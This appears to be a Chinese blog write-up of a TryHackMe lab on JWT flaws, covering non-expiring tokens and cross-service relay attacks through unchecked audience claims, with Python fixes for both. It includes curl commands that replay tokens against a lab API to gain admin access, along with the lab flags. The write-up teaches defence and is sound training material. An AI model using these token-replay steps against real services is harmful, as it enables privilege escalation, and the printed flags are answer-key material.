在验证令牌的签名之前,还应该计算令牌的生命周期,以确保令牌没有过期。这通常是通过从令牌中读取exp(过期时间)声明并计算令牌是否仍然有效来执行的。

一个常见的问题是,如果exp值设置得过大(或者根本没有设置),那么令牌的有效期可能会太长,甚至可能永远不会过期。如果使用Cookie,Cookie可以在服务器端过期。然而,JWT没有内置这样的相同功能。如果我们想在exp时间到达之前使令牌过期,我们必须维护一个关于这些令牌的阻止列表(即黑名单),从而打破使用相同身份验证服务器的分布式应用程序的模型。因此,应根据应用程序的功能谨慎选择正确的 exp 值。例如,对比邮件服务器和银行应用程序这两者,它们各自可能会使用不同的exp值。

另一种方法是使用刷新令牌(refresher tokens)。如果你要测试一个使用了JWT的API,建议你对此进行一些研究。

练习示例 6

在此示例中,该JWT实现并没有指定一个exp值,这意味着此令牌(token)将永久持续有效。请使用以下令牌(token)获取你想要的flag(练习示例6):

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU

开发错误

如上所述,如果JWT没有设置具体的exp值,这意味着它将是持久化的。如果exp声明不存在,大多数 JWT 库在签名验证通过后,都会接受该令牌为有效令牌。

修复方法

应在JWT的声明中添加一个 exp 值。一旦添加了该值,大多数库都会将 JWT 的过期时间纳入关于令牌的有效性检查中。具体操作如下所示:

lifetime = datetime.datetime.now() + datetime.timedelta(minutes=5)

payload = {
    'username' : username,
    'admin' : 0,
    'exp' : lifetime
}

access_token = jwt.encode(payload, self.secret, algorithm="HS256")

答题

阅读本小节内容并回答以下问题。

第六个示例中的flag是什么?

先部署好实验环境(参考第二小节中的内容),然后在攻击机的终端中进行操作。

#此示例中给定了一个持久化令牌,我们使用它
root@ip:~$curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU' http://10.10.209.126/api/v1.0/example6?username=admin
{
  "message": "Welcome admin, you are an admin, here is your flag: THM{a450ae48-7226-4633-a63d-38a625368669}"
}

image-20250604001346495

THM{a450ae48-7226-4633-a63d-38a625368669} 。

image-20250604002729851

跨服务中继攻击

我们将要检查的最后一个常见的配置错误是跨服务配置错误。如前所述,JWT通常被用于“可服务于多个应用程序的集中式身份验证系统”中。然而,在某些情况下,我们可能希望限制使用JWT访问某些应用程序,特别是当声明仅对某些特定应用程序有效时。这可以通过使用受众声明来实现。但是,如果受众声明未得到正确执行,那么攻击者就可以尝试执行跨服务中继攻击以进行权限提升。

tips:Cross-Service Relay Attacks(跨服务中继攻击)。

image-20250603193743893

受众声明(The Audience Claim)

JWT可以包含受众声明。在单个身份验证系统为多个应用程序服务的情况下,受众声明可以指示JWT旨在为哪个应用程序服务。但是,此受众声明的执行必须在应用程序本身上进行,而不是在身份验证服务器上。如果此声明未得到验证,而JWT本身仍然通过签名验证并且被视为有效,那么可能会产生意想不到的后果。

例如,如果用户在某个应用程序上拥有管理员权限或更高角色,那么分配给该用户的JWT通常会包含一个声明来表明这一点,例如"admin" : true。但是,同一个用户可能不会是 由同一身份验证系统所服务的另一个应用程序上的管理员。如果另一个应用程序也使用了此管理员声明,但是其受众声明未得到验证,那么服务器可能会误认为该用户在另一个应用程序上也拥有管理员权限(服务器错误地认为第一个应用程序中的管理员用户在第二个应用程序上也具有管理员权限)。这被称为跨服务中继攻击,如下方图片所示:

image-20250603201239633

image-20250603201330312

image-20250112211422052

image-20250603201458188

image-20250112211518988

image-20250112211333976

接下来让我们看一个实际的例子。

练习示例 7

对于最后一个练习示例,我们有两个API端点,分别是example7_appAexample7_appB。你可以使用与前面示例中相同的GET请求来获取flag,但需要将其指向这两个端点。此外,为了进行身份验证,我们还必须在 向example7发出的登录请求 中包含"application" : "appX"数据值。

我们可以按照以下步骤来执行示例7:

  1. 使用以下数据段对example7进行身份认证:'{ "username" : "user", "password" : "password7", "application" : "appA" }'。你将得到一个令牌,同时你会注意到其中添加了一个受众声明,但你并不是管理员。

  2. 在你向example7_appAexample7_appB发出的admin和user请求中使用刚才得到的令牌。你会发现,虽然appA接受此令牌,但你在appA上不是管理员,而appB直接不接受此令牌,因为受众不正确。

  3. 使用以下数据段对example7进行身份认证:'{ "username" : "user", "password" : "password7", "application" : "appB" }'。你将得到一个令牌,同时你会注意到该令牌中添加了受众声明,并且这次你是管理员用户。

  4. 使用刚才得到的令牌再次在两个应用程序上分别验证你的身份,并查看具体会发生什么(你会发现你现在在两个应用程序上都是管理员用户身份)。

你现在可以使用此方法获取练习示例7的flag。

#获取令牌
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7", "application" : "appB" }' http://MACHINE_IP/api/v1.0/example7

#使用令牌在example7_appA应用程序上验证身份
curl -H 'Authorization: Bearer [JWT Token]' http://MACHINE_IP/api/v1.0/example7_appA?username=admin

开发错误

关键问题是,在appA应用程序上没有对受众声明进行验证。这可能是因为appA应用程序上的受众声明验证已经被关闭,或者受众范围设置得太宽。

修复方法

当令牌(token)被解码时,其中的受众声明应该被验证,具体操作如下所示:

payload = jwt.decode(token, self.secret, audience=["appA"], algorithms="HS256")

答题

阅读本小节内容并回答以下问题。

第七个示例中的flag是什么?

先部署好实验环境(参考第二小节中的内容),然后在攻击机的终端中进行操作。

查看我们在appA上所使用的JWT令牌的权限:

root@ip:~$ curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7","application" : "appA" }' http://10.10.209.126/api/v1.0/example7
{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MCwiYXVkIjoiYXBwQSJ9.sl-84cMLYjxsD7SCySnnv3J9AMII9NKgz0-0vcak9t4"
}
root@ip:~$ curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MCwiYXVkIjoiYXBwQSJ9.sl-84cMLYjxsD7SCySnnv3J9AMII9NKgz0-0vcak9t4' http://10.10.209.126/api/v1.0/example7_appA?username=user
{
  "message": "Welcome user, you are not an admin"
}
root@ip:~$ curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MCwiYXVkIjoiYXBwQSJ9.sl-84cMLYjxsD7SCySnnv3J9AMII9NKgz0-0vcak9t4' http://10.10.209.126/api/v1.0/example7_appA?username=admin
{
  "message": "Unauthorized, you are not an admin"
}

image-20250604001531231

针对appB进行身份验证以获取相关的JWT令牌:

#针对appB进行身份验证以获取JWT令牌

root@ip:~$curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7", "application" : "appB" }' http://10.10.209.126/api/v1.0/example7
{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o"
}

root@ip:~$curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.209.126/api/v1.0/example7_appB?username=admin
{
  "message": "Welcome admin, you are an admin, but there is no flag for you here"
}

image-20250604002309351

我们在appB中是管理员权限,现在让我们迁移到appA:

#使用在appB上获取到的JWT令牌 在example7_appA应用程序上对用户身份进行验证
#curl -H 'Authorization: Bearer [New JWT Token]' http://MACHINE_IP/api/v1.0/example7_appA?username=admin
root@ip:~$curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.209.126/api/v1.0/example7_appA?username=admin
{
  "message": "Welcome admin, you are an admin, here is your flag: THM{f0d34fe1-2ba1-44d4-bae7-99bd555a4128}"
}

THM{f0d34fe1-2ba1-44d4-bae7-99bd555a4128} 。

image-20250604002816518

本文小结

在本文的内容里,我们展示了关于JWT实现中的几个常见错误配置和漏洞。作为知识点总结,请注意以下内容:

  • 由于JWT会发送到客户端并且仅会被编码处理,因此敏感信息不应存储在其声明中。

  • JWT的安全性仅取决于其签名。在验证签名时,应小心谨慎,以确保不存在混淆或使用弱密钥的情况。

  • JWT应该能够过期并且应该具有合理的生命周期,以避免威胁行为者滥用持久化的JWT。

  • 在SSO(单点登录)环境中,受众声明对于确保特定应用程序的JWT仅在该应用程序上使用至关重要。

  • 由于JWT会使用密码学技术来生成签名,因此针对加密方式的那些攻击也可能会与JWT的漏洞利用相关。

  • 在本文的内容中,我们并没有涵盖与JWKS欺骗攻击相关的知识点,如果你对这个漏洞利用的执行感兴趣,可以查看这个TryHackMe实验房间

posted @ 2025-06-04 00:34  Hekeatsll  阅读(378)  评论(0)    收藏  举报